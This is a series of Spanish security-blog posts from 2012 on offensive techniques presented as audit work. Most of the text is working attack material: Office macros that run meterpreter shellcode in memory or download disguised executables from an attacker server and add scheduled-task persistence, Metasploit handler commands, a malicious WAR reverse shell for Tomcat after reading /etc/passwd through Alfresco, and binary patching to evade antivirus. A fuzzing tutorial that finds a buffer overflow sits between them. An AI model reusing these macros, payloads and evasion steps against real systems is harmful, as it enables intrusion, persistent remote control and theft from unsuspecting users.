miércoles, 22 de agosto de 2012

Ingeniería social con macros de Microsoft Office II


En el anterior post (ingeniería social con macros de Microsoft Office) vimos como realizar macros para descargar nuestros binarios maliciosos mediante winhttp y ejecutarlos, así como nuestro script vbs para la tarea programada y así crear nuestra backdoor.

Según la idea del post anterior, en un entorno donde la única posible salida a internet es mediante proxy (como muchos entornos corporativos) esto no funcionaría.Para que esto funcione en una auditoria que nos podamos encontrar con este problema podemos realizar lo siguiente.

Tenemos dos problemas.Nuestra macro descarga vía winhttp el binario, esto ya no funcionará.Además, nuestros binarios de meterpreter, realizan una conexión reversa al puerto 443 de nuestro servidor, por lo que tampoco funcionará.Desde las macros, podemos utilizar un método de winhttp para configurar el proxy, usuario y contraseña, pero deberíamos averiguar antes esos datos por lo que esta solución no es la mejor.
Suponiendo que el proxy utiliza la autenticación NTLM del usuario logado del dominio (lo más
común..) vamos a utilizar el payload de meterpreter reverse_https , vamos a hablar sobre este payload:

El meterpreter reverse_https (tambien existe modalidad http) esta diseñado para utilizar en sus comunicaciones el proxy configurado en el internet explorer y el hash ntlm del usuario logado en la máquina.Normalmente en los proxys corporativos si piden usuario y contraseña son del usuario del dominio, por tanto con este meterpreter nos puede solucionar este problema.El motivo de usar https , en vez de http, es por evitar posibles IDS/IPS o proxys que pueden detectar/cortar la comunicación de nuesro meterpreter al detectar el envio de la DLL que realiza el 2º stage del meterpreter, al ir la comunicación cifrada con el reverse_https, evitaremos este problema.

Veamos en mas detalle como funciona el reverse_https en un entorno corporativo, con proxy e IPS que podría bloquear nuestro 2º stage (incluso el primero) del meterpreter:

Nota: Tanto el reverse_http como el reverse_https funcionaran aunque estemos en un entorno sin proxy.


Se ejecuta el meterpreter en la maquina objetivo , se realiza un connect a https://nuestroservidor:443  , el proxy nos rechaza por primera vez la conexion con un 407  y un mensaje de acceso denegado:


El meterpreter de nuevo realiza otro GET pero esta vez con el hash NTLM del usuario logado , ahora el proxy acepta la conexion y conectar con nuestro servidor, se puede ver en la captura como se inicia el 2º stage de forma cifrada:


Tanto el primer stage como el segundo stage del meterpreter, utilizan la API WinINet que es mucho más potente que el winhttp que utilizamos en las macros.Con esta API es de la forma que conseguimos utilizar el proxy de internet explorer y con la autenticación cacheada del usuario del dominio.

Más info sobre WinINet:

http://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx


Podemos encontrarnos otros problema aún utilizando el reverse_https y es que el user-agent  y la cabecera Server que utiliza por defecto y puede que algún IPS/AV lo detecte ,por lo que debemos cambiar estos parametros a la hora de generar el reverse_https ( o http), esto lo realizaremos más adelante.

Bien, tenemos una parte solucionada, ahora vamos con la macro de Office.Lo ideal sería utilizar nuestro meterpreter en la macro de Office de forma embedida , para que no tengamos que descargar ningun binario ni tengamos que evitar el proxy tambien en el código de nuestra macro.

Metasploit nos da la solución, podemos generar el código de una macro que directamente lo que hace es ejecutar en MEMORIA la shellcode del 1º stage del meterpreter, la shellcode estará directamente en el código de la macro.Para hacerlo en memoria y por tanto de forma INDETECTABLE para los antivirus (hasta donde hemos podido ver), utiliza las API de windows de kernel32.dll CreateThread , VirtualAlloc y RtlMoveMemory , de esta forma una vez el usuario acepte la macro se ejecutara en memoria el primer stage del meterpreter reverse_https y el AV ni se enterara.. Una maravilla !!!

Veamos como hacer esto y como funciona:


./msfconsole

use payload/windows/meterpreter/reverse_https
set LPORT 443
SET LHOST 192.168.1.100
set MeterpreterUserAgent test
set MeterpreterServerName testserver
set SessionCommunicationTimeout 0 # para que intente conectar siempre con nuestro servidor hasta que el proceso muera

msf  payload(reverse_https) > generate -t vba # con esto generamos nuestro codigo con VBA que hemos comentado anteriormente, a continuación el código que genera metasploit:


#If Vba7 Then

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As LongPtr, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As LongPtr, ByRef Vzz As Any, ByVal Iynuh As Long) As LongPtr

#Else

Private Declare Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As Long, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As Long

Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As Long

Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As Long, ByRef Vzz As Any, ByVal Iynuh As Long) As Long

#EndIf



Sub Auto_Open()

Dim Igrremhxu As Long, Bbzryy As Variant, Fhggo As Long

#If Vba7 Then

Dim  Miuwy As LongPtr, Zvssckpzo As LongPtr

#Else

Dim  Miuwy As Long, Zvssckpzo As Long

#EndIf

Bbzryy = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _

139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _

13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _

116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _

214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _

36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _

139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _

235,134,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,255, _

213,49,255,87,87,87,87,106,0,84,104,58,86,121,167,255,213,235,95,91, _

49,201,81,81,106,3,81,81,104,187,1,0,0,83,80,104,87,137,159,198, _

255,213,235,72,89,49,210,82,104,0,50,160,132,82,82,82,81,82,80,104, _

235,85,46,59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4, _

80,106,31,86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45, _

6,24,123,255,213,133,192,117,26,75,116,16,235,213,235,73,232,179,255,255, _

255,47,81,99,57,111,0,0,104,240,181,162,86,255,213,106,64,104,0,16, _

0,0,104,0,0,64,0,87,104,88,164,83,229,255,213,147,83,83,137,231, _

87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,205,139, _

7,1,195,133,192,117,229,88,195,232,81,255,255,255,49,57,50,46,49,54, _

56,46,49,46,49,48,48,0)

Miuwy = VirtualAlloc(0, UBound(Bbzryy), &H1000, &H40)

For Fhggo = LBound(Bbzryy) To UBound(Bbzryy)

Igrremhxu = Bbzryy(Fhggo)

Zvssckpzo = RtlMoveMemory(Miuwy + Fhggo, Igrremhxu, 1)

Next Fhggo

Zvssckpzo = CreateThread(0, 0, Miuwy, 0, 0, 0)

End Sub

Sub AutoOpen()

Auto_Open

End Sub

Sub Workbook_Open()

Auto_Open

End Sub





Este código lo tendremos que copiar tal cual en la macro del documento.

En nuestro servidor:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.100
set LPORT 443
set MeterpreterServerName testserver
set MeterpreterUserAgent test
set ExitOnSession false
exploit -j -z


Abrimos el documento, aceptamos las macros y ..



Vamos a adentrarnos un poquito mas en el funcionamiento a un nivel mas bajo:

Buscamos con nuestro debugger favorito (olly,immunity debugger,etc) la dirección de memoria de virtualalloc que utiliza nuestra macro para hacer ejecutable una zona de memoria  y copiar nuestra shellcode en esa zona de memoria, tambien buscamos la dirección de WinInet que utiliza el meterpreter una vez es ejecutado.

En mi caso son:

virtualalloc del kernel32.dll -> 76A51856

Wininet -> 74E51735

Consejo:Para evitar problemas con el Wininet, en la maquina donde hagamos las pruebas, cerramos cualquier navegador y/o aplicación que pueda utilizar conexion a internet.

Abrimos nuestro documento excel (en mi caso) con macros y ANTES de habilitar las macros, hacemos un attach del excel.exe con nuestro debugger.Después de poner un breakpoint en el virtualalloc del kernel32.dll en mi caso 76A51856 , ponemos otro breakpoint en Wininet , que lo utilizará meterpreter para realizar las conexiones, en mi caso es la direccion 74E51735, una vez tenemos los 2 breakpoints  le damos a F9 para que siga ejecutandose y ya podemos darle a "Habilitar Macros" en el documento:

Según le demos a habilitar macros, veremos como entramos en nuestro breakpoint del virtualalloc, ademas en la pila podemos ver la llamada realizada a VirtualAlloc y vemos claramente como se ha llamado desde el modulo VBE7 , el modulo que utilizan las macros de word.



Con esto vemos como nuestra macro ha utilizado la funcion Virtualalloc, si seguimos avanzando con F8
veremos como pasamos del kernel32.dll al modulo VBE7 en el debugger, donde se esta ejecutando el codigo VBA de nuestra macro, tal y como se ha comentado anteriormente.


Seguidamente, quitamos el breakpoint del virtualalloc quedando solo el breakpoit de Wininet , si volvemos a pulsar F9 , veremos como entra en el breakpoint de Wininet, lo que indica que se esta ejecutando nuestro meterpreter y esta utilizando dicha función.

Si le damos varias veces a F9 (utiliza la función multiples veces) veremos como obtenemos la sesión de meterpreter reverse_https.


lunes, 20 de agosto de 2012

Encontrar vulnerabilidades con file format fuzzing

En este artículo vamos a ver como encontrar vulnerabilidades en aplicaciones que manejan ficheros. Vamos a ponernos en situación.

Lo primero que debemos pensar cuando fuzzeamos este tipo de aplicaciones es qué vamos a fuzzear. No es lo mismo fuzzear un fichero .zip, que un .pdf, que un .pls o un .mp3 cada uno tendrá una estructura interna distinta y por tanto un fuzzing distinto.

Recuerdo una charla de fuzzing de la NCN del año pasado en la que contaban algo sobre fuzzing y decían fuzzear? eso es meter mierdaza a las aplicaciones esperando a que peten. y eso es lo que vamos a hacer. Vamos a generar una lista de ficheros con "mierdaza" en ellos para ver como responde la aplicación cuando los abre y monitorizar el estado de la misma para encontrar un fallo que sea explotable.

Tras testear diversos maneras voy a explicar la que me ha parecido más rápida e interesante.
Lo primero que debemos hacer es descargar todo lo que necesitamos:

En primer lugar ¿como vamos a generar esos archivos y le vamos a meter la basura? La respuesta es: usaremos sulley. Alguno pensara? por que no spike? lo que queráis, el objetivo ya sabemos cual es: generar una serie de ficheros con basura dentro de ellos. Podemos descargar el ejecutable de sulley de la siguiente dirección: http://www.fuzzing.org/wp-content/Sulley%20Fuzzing%20Framework.exe.


Ahora debemos realizar un script en python para usar sulley con el que podamos generar una lista de ficheros con la basura insertada en ellos pero antes debemos pensar qué aplicación queremos fuzzear. Yo usaré un ejemplo simple como puede ser la aplicacion Easy RM to MP3 para la cual ya hay varios exploits en exploit-db (http://www.exploit-db.com/exploits/14550/):

Como vemos el crash esta en los ficheros .m3u por lo que queremos un fuzzer de ficheros m3u. Quizás un m3u es muy sencillo ya que se trata de un fichero de texto plano en que se almacena una ruta desde la que se carga una lista de música pero nos sirve para entender los conceptos

Un fichero legitimo de listas de música .m3u seria así:


Por lo que queremos ficheros que sean así pues manos a la obra¡¡

Aquí lo tenemos:

#!/usr/bin/env python
import sys      #importaciones importantes
import os
sys.path.append("C:\sulley")  #define donde tienes instalado sulley para mutaciones
from sulley import *               #importa todo lo que haya en sulley

s_initialize("M3U")  #Nombre del fuzzer

#definimos la gramatica del fuzzer
#s_string --> queremos fuzzear esto como un string
#s_static --> no queremos fuzzearlo
#s_byte --> fuzzear enteros (no hace falta) 

s_string("#EXTM3U\n")
s_static( "#EXTINF:")
s_byte(348, format="string")
s_static(",Mr. Scruff - Kalimba")
s_static("C:\Users\Public\Music\Sample Music\Kalimba.mp3") 

print "Se van a realizar: " + str(s_num_mutations()) + " mutaciones" 
i=0

while s_mutate():
    test_cases = open("m3u_test\prueba-%i.m3u"%i, "w")
    test_cases.write(s_render())
    test_cases.close()
    i = i+1
print "Finalizado"

Ejecutamos el Script en python y vemos que efectivamente se nos crean los ficheros de pruebas:


Bueno y si os dijera que tenemos que ir uno a uno probándolos en el Olly o el inmunity? Evidentemente no¡¡ Por eso nos vamos a descargar el windbg de Microsoft que además dispone de una interfaz de comandos facilmente automatizable para realizar el proceso un poco menos tedioso:

Lo podemos descargar de aquí: http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx

Una vez que lo tenemos vamos a instalar un plugin que se llama exploitable. ¿Qué hace este plugin? Nos indica de una manera muy certera si el crash que ha encontrado es explotable tras analizarlo él por su cuenta.

Lo descargamos de: http://msecdbg.codeplex.com/, descomprimimos e instalamos en la ruta del Windbg pero en la carpeta winext copiamos la dll MSEC.dll. Con esto si accedemos al windbg y ejecutamos !load /winext msec.dll cargaremos dicho modulo. Pero además de esto el windbg tiene comandos muy utiles y que vamos a usar como:

.logopen fichero.log --> Abre un fichero en el que va a loguear todo el crash
.g --> Arranca el binario
.!exploitable -m --> Devuelve el resultado del crash en formato legible y parseable
.logclose --> cierra el fichero de log
.q --> cierra el windbg
Por supuesto tenemos más archivos pero con esto nos vale. Bueno vamos a automatizar y a encontrar el crash de una vez:

FOR /L %i in (inicio,incremento,fin) do @"[ruta de Windgb]\cdb.exe -amsec.dll -c ".logopen crash%i.log; g; !exploitable -m; .logclose" [ruta app vulnerable] [comandos_applicacion][ficheros_vuln]

Con esto arrancamos la aplicación vulnerable "atacheada" con windbg y almacenando el crash en un fichero que posteriormente veremos.
Por otro lado dejaremos otro script que vaya matando el cdb.exe (nuestro windbg) para  matar la aplicación y que se vuelva abrir de nuevo de la siguiente manera:

FOR /L %i in (0,0,0) do @wmic process where (name="cdb.exe") delete && ping -n [delay] localhost > nul

Tras observar la ayuda vemos que nuestra aplicación vulnerable carga los archivos de la siguiente manera:

RM2MP3Converter.exe /cf "C:\Documents and Settings\xxxxx\Escritorio\m3u_test\prueba-x.m3u"

Por lo que nos quedaría el siguiente comando (Nota:1186 ficheros generados por el fuzzing):

FOR /L %i in (0,1,1186) do @"C:\Archivos de programa\Debugging Tools for Windows (x86)\cdb.exe" -amsec.dll -c ".logopen crash%i.log; g; !exploitable -m; .logclose" "C:\Archivos de programa\Easy RM to MP3 Converter\RM2MP3Converter.exe" /cf "C:\Documents and Settings\xxxxx\Escritorio\m3u_test\prueba-%i.m3u"

Y nuestra función de matar el proceso cdb cada 7 segundos:
FOR /L %i in (0,0,0) do @wmic process where (name="cdb.exe") delete && ping -n 7 localhost > nul
La aplicación se va parando y arrancando automáticamente y almacenando un fichero.log del crash:


 El plugin de !exploitable nos habrá echo el trabajo ya que da tres clasificaciones según la explotabilidad del crash:
  • Unknow --> Se desconoce
  • no_signal_exception --> no ha dado ningun problema
  • exploitable --> Explotable¡¡ :)
Podemos ahora buscar con la herramienta para windows de lineas de comandos findstr o como queramos la cadena EXPLOITABLE y obtendremos los crashes explotables:


Con esto podemos ir al fichero del mismo numero y por ejemplo realizar el proceso manualmente para verlo cojamos al azar por ejemplo el crash 133. Por lo que abrimos el olly y arrancamos nuestro easy_mp3. Cojemos el fichero explotable (el crash número 133) y lo abrimos y vemos que mete muchisimos 1.
Ahora vamos al olly lo cargamos en nuestra aplicación que previamente hemos dejado abierta con el olly y vemos que sobrescribe eip con 31313131:


Ese 31313131 es el carácter ASCII 1 en hexadecimal por tanto hemos sobrescrito EIP. Por lo que hemos detectado por fuzzing un Stack Buffer Overflow.

Mas adelante veremos  una manera de hacer esto un poquito más rápido y automatizado.

Un saludo¡

miércoles, 15 de agosto de 2012

Ingeniería social con macros de Microsoft Office.

Cuando tenemos que realizar alguna auditoría pruebas de ingeniería social en ataques a clientes, una de las maneras mas efectivas es utilizar documentos word con macros.Mediante esta técnica, no dependemos de ninguna vulnerabilidad de software, solo dependemos de que los usuarios que abran el documento acepten las macros, cosa que aunque pueda parecer sorprendente, hacen muy a menudo. Incluso si lo tienen configurado, puede ni salir el mensaje de aceptar macros.



Una vez el usuario final acepte la macro, podremos infectar al equipo de forma controlada y de múltiples  formas.A lo largo de varias entradas iremos hablando de estas distintas formas:

La primero que vamos a utilizar es hacer nuestro propio código en VBA (Visual Basic Application) para descargar y ejecutar los binarios que hemos generado en Manipulación de binarios para evasión de antivirus .

Recordemos que tenemos un binario para sistemas sin ASLR y otro para sistemas con ASLR, por lo que tendremos que detectar que sistema operativo tenemos cuando se este ejecutando la macro y en función de ello descargue un binario u otro.

Además de todo ello, también podríamos querer tener persistencia en nuestra sesión de meterpreter.Tenemos los scripts persistence y met_svc de meterpreter, con estos, se manipulan datos del registro entre otras cosas y algunos antivirus lo detectan, por lo que no nos sirve, podríamos cambiar su funcionamiento, pero quizá sea mas practico buscarnos otra forma.Para ello, vamos a crear una tarea programa en el sistema operativo, para que compruebe cada minuto si nuestro .exe esta en ejecución , si no lo esta, lo ejecutara y nos devolverá shell.Así tanto si muere nuestra sesión, como si reinician el equipo, volveremos a tener sesión siempre que tengamos el multi handler de metasploit escuchando.

Vamos a ver como hacemos todo esto en las macros:

Lo primero que hacemos es utilizar la función AutoOpen() para que se ejecute nada mas abrir el documento ( y aceptar la ejecución de macros).Vemos que aquí lo que hacemos es llamar a la función OSVersion que hemos creado, veremos justo después que realiza.

Sub AutoOpen()

    

 OSVersion



End Sub



Lo que hace la función OSVersion() es comprobar que sistema operativo se esta ejecutando la macro.Si es winxp llamaremos a una función y si es Win7 llamaremos a otra ,esta parte la podemos modificar para win2k3 , winvista etc.. , en este caso solo nos interesa winxp y win7

Vamos a seguir el código como se iría ejecutando en el caso de ser un Win7

Public Function OSVersion()



Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")

For Each Sys In SystemSet

 Version = Sys.Caption

Next



If InStr(Version, "XP") = 0 Then

Download_7  'es distinto a winxp'

Else

Download_xp 'es WinXP'

End If




Veamos ahora las funciones Download_7 y Download_xp, estas funciones usan el winhttp para descargar mediante http un recurso.Este recurso sera un jpg que tenemos en nuestro servidor web, este jpg, sera descargado y renombrado a .exe en el sistema, en concreto en c:\ . Una vez descargado, sera ejecutado llamando a la función que hemos creado RunFile y después de ejecutarlo, se llamara a la función Download_7_persist que es la función que hará las acciones pertinentes para proporcionarnos persistencia en nuestra sesión.


Private Sub Download_7()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim MyFile2 As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/met_7.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\met_7.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



RunFile ("C:\met_7.exe")



Download_7_persist



End Sub


La función RunFile, simplemente ejecutara desde un cmd el binario que le pasamos como parametro:

Function RunFile(strFile As String)



  Shell "cmd /C """ & strFile & """"



Error_Handler_Exit:



   On Error Resume Next

   Exit Function



Error_Handler:



   Resume Error_Handler_Exit

  

End Function




La función Download_7_persiste utiliza también winhttp para descargase un script en VBS (Visual Basic Script) y ejecutarlo, cuando lo ejecute, lo que hará es comprobar si en los procesos del sistema esta nuestro binario met_7.exe , si no, lo arrancara (en c:\met_7.exe) , mas abajo veremos el código de este VBS.


Private Sub Download_7_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/7/persist.vbs"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub




Aquí tenemos el código del met_7.vbs:


Set WshShell = WScript.CreateObject ("WScript.Shell")

Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")

For Each objProcess in colProcessList

if objProcess.name = "met_7.exe" then

vFound = True

End if

Next

If vFound = True then

wscript.sleep 5000

Else

WshShell.Run ("C:\met_7.exe")

wscript.sleep 5000

End If

vFound = False





Para que todo esto funcione, debemos levantar el multi/handler de la siguiente manera:


./msfconsole
use exploit/multi/handler

set lport 443  # levantamos el multi handler en el puerto 443 que es el que utilizan nuestros binarios

set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs  # en cuanto obtengamos sesión, se creara la tarea programada a ejecutarse cada minuto, lo que ejecuta es nuestro script persist.vbs

set ExitOnSession false

exploit -j -z



Con todo esto empezaremos a obtener sesiones de los usuarios que hayan aceptado nuestras macros, y tendremos persistencia en caso de perder sesión.Evidentemente, esto en entornos corporativos en los que los usuarios solo pueden salir a internet a través de proxy no funciona ya que ni la descarga de los ficheros por macros ni la ejecución de meterpreter reverso funcionará, por lo que más adelante veremos una forma mucho mas sofisticada e interesante para realizarlo.

Así queda el código de la macro completo:


Sub AutoOpen()

    

 OSVersion



End Sub







Public Function OSVersion()

  





Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")

For Each Sys In SystemSet

 Version = Sys.Caption



Next



If InStr(Version, "XP") = 0 Then

Download_7  'no es  winxp'

Else



Download_xp 'es WinXP'

End If





End Function

          

                  

                  



Private Sub Download_xp()





Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If





MyFile = "http://192.168.1.1/met_xp.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing





FileNum = FreeFile

Open "c:\met_xp.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum

RunFile ("C:\met_xp.exe")

Download_xp_persist



End Sub





Private Sub Download_xp_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If





'MyFile = "http://192.168.1.1/xp/persist.vbs"'



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing





FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub



Private Sub Download_7()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim MyFile2 As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/met_7.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\met_7.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



RunFile ("C:\met_7.exe")



Download_7_persist



End Sub







Private Sub Download_7_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/7/persist.vbs"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub





Function RunFile(strFile As String)



  Shell "cmd /C """ & strFile & """"



Error_Handler_Exit:

   On Error Resume Next

   Exit Function



Error_Handler:



   Resume Error_Handler_Exit

  

End Function


sábado, 11 de agosto de 2012

Auditorías de CMS Alfresco


Durante una auditoría es importante tener en cuenta todas las posibilidades a la hora de realizar una intrusión. Muchas veces encontramos CMS o frameworks en empresas que disponen de una contraseña de administración débil o que conseguimos acceder al panel de administración y nos gustaría tomar el control de esa máquina pero no tenemos ejecución de comandos.

Alfresco es uno de esos frameworks y una vez somos administradores del sitio web vamos a ver cómo podemos conseguir la tan ansiada Shell o interprete de comandos.
Alfresco suele montarse en un servidor de aplicaciones como Tomcat, JBOSS, etc siempre servidores web que interpreten lenguajes JSP

Alfresco dispone de unas consolas de gestión que sirven para realizar ejecución de comandos en la máquina de una manera un tanto especial. Estas consolas son herramientas para programadores o administradores. Para tener más información sobre estas consolas pueden consultar esta referencia:
 http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/

 
La consola más interesante que tenemos es la AVM de la cual dispone de una ayuda en la siguiente url: http://wiki.alfresco.com/wiki/AVM_Console
Esta consola permite entre otras cosas leer archivos del disco, escribir, etc.
Realizando el siguiente comando por ejemplo:
cat, sitestore:/etc/passwd


 
Se lee el fichero /etc/passwd desde las consolas de administración:




De esta manera es posible leer la configuración del servidor web para al final acceder como administrador del tomcat por ejemplo y subir nuestro meterpreter:

Leyendo la configuración del servidor de aplicaciones Tomcat:

Acceso al servidor de aplicaciones como administrador:


Y ya solo nos falta subir un meterpreter gracias al modulo de metasploit "exploit/multi/http/tomcat_mgr_deploy". Pero vamos a ver la forma de hacerlo manualmente por si alguna vez nos da problema dicho módulo:

Para ello lo que vamos a crear es un .war malicioso que nos valdrá tanto para JBOSS como para TOMCAT, GLASSFISH y cualquier servidor de aplicaciones que trabaje con .war:

Con el siguiente comando se crea una shell reversa por si acaso hubiera firewall pero en un fichero .war:

msfpayload windows/meterpreter/reverse_tcp  W > /test.war

Dejamos escuchando un multihandler para cuando realize la conexión inversa:



Una vez tenemos el war ya creado lo descomprimimos para ver  la estructura que tiene por si quisieramos generar uno manualmente aunque en principio no hace falta:


Como vemos en la imagen anterior tenemos dos ficheros y el que debemos ejecutar es el jsp, por lo que nos apuntamos el nombre, ya que posteriormente nos hará falta (también podríamos cambiárselo a gusto del auditor)

Lo único que nos queda es subirlo en el servidor de aplicaciones Tomcat por ejemplo a través de su funcionalidad de desplegar aplicaciones:


Una vez que lo tenemos desplegado podemos ejecutarlo en el navegador haciendo click en el simplemente y nos llevara a una pagina de NOT FOUND. Todo esta bien, ahora lo único que debemos hacer es atacar directamente al recurso que apuntamos anteriormente cuando descomprimimos el fichero war y se conectara a nosotros:


¿ Y que pasaría si el servidor no disponde de salida a internet? Lo veremos más adelante. 

Un saludo¡

domingo, 5 de agosto de 2012

Manipulación manual de binarios para evasión de antivirus (II) ASLR


En los sistemas más modernos como Windows 7 tenemos ASLR, una protección del sistema operativo que genera de forma aleatoria 2 bytes de la dirección de memoria.Debido a esto, el binario que modificamos anteriormente en
(Manipulacion de binarios para evasión de antivirus I ) no funciona.

En nuestra rutina de descifrado tenemos las direcciones de memoria "hardcodeadas" por lo que si probamos a reiniciar, la ejecución del binario fallará por violación de acceso al utilizar esas direcciones de memoria.

Se debe tener en cuenta que ASLR afecta a los 2 primeros bytes de dirección de memoria, es decir, según las direcciones de memoria de nuestro anterior binario, sería XXXX1137 por ejemplo, siendo XXXX los bytes que cambian en cada reinicio del sistema.


rutina de descifrado:

00401137     B8 06104000      MOV EAX,met.00401006  <- Aqui es donde tenemos el problema

0040113C                      ADD BYTE PTR DS:[EAX],69

0040113F     40               INC EAX 

00401140     3D 36114000      CMP EAX,met.00401136 <- Aqui es donde tenemos el mismo problema

00401145    ^7E F5            JLE SHORT met.0040113C  

00401147     FC               CLD

00401148     E8 57FFFFFF      CALL met.004010A4

0040114D    -E9 AAFEFFFF      JMP met.00401006




Si nos fijamos en los opcodes (2º columna) vemos claramente donde estamos indicando las zonas de memoria de forma absoluta ( B8 06104000 en la primera instrucción por ej).


Para solucionar esto, debemos encontrar la forma poder hacer la misma rutina dinamicamente.Si abrimos con olydbg en win7 nuestro ejecutable con el código cifrado y la rutina de descifrado (met_xp_2.exe)
nos encontramos:



Como vemos, lo primero que hace es entrar en ntdll , si vamos avanzando pulsando F7 vemos como entra en el kernel32.BaseThreadInitThunk:

Dentro de kernel32.BaseThreadInitThunk vemos como en el registro EDX queda guardado el entrypoint de nuestro binario y con el CALL EDX entra en nuestro entrypoint :

Una vez estamos en el entrypoint de nuestro binario, podemos ver que seguimos teniendo en EDX  la dirección de nuestro entrypoint y esto vamos a poder utilizarlo para solucionar el problema de ASLR:

Lo que en este caso haremos es modificar la rutina de descifrado de la siguiente manera:

009A1141   > 8BC2       MOV EAX,EDX  <- Metemos en EAX , EDX que es el entrypoint

009A1143   . 83C0 06    ADD EAX,6 <- Sumamos 6 a EAX por lo tanto EAX = entrypoint + 6 que es donde queremos empezar a descifrar (en la otra rutina 00401006)     

009A1146                ADD BYTE PTR DS:[EAX],69 <- Sumamos 69 al contenido de EAX

009A1149   . 40         INC EAX <- Incrementamos EAX

009A114A   . 66:3D 4011 CMP AX,1136 <- Comparamos los 2 ultimos bytes del registro EAX (AX) con 1136 que es donde finaliza nuestro codigo cifrado.(XXXX1136)

009A114E   . 90         NOP  <- NOP que no hace nada

009A114F   .^7E F5      JLE SHORT sysupdat.009A1146 <- JLE para el bucle

009A116B   . FC         CLD

009A116C   E8 57FFFFFF  CALL met_7.003D10A4

009A1171   E9 B4FEFFFF  JMP met_7.003D1006

De esta forma , nos evitamos el problema del ASLR, ya no necesitamos utilizar direcciones de memoria absolutas, con haber conseguido que en EDX apunte a nuestro entrypoint, nos las hemos
apañado para conseguirlo.

Vemos como queda la rutina en Olly:

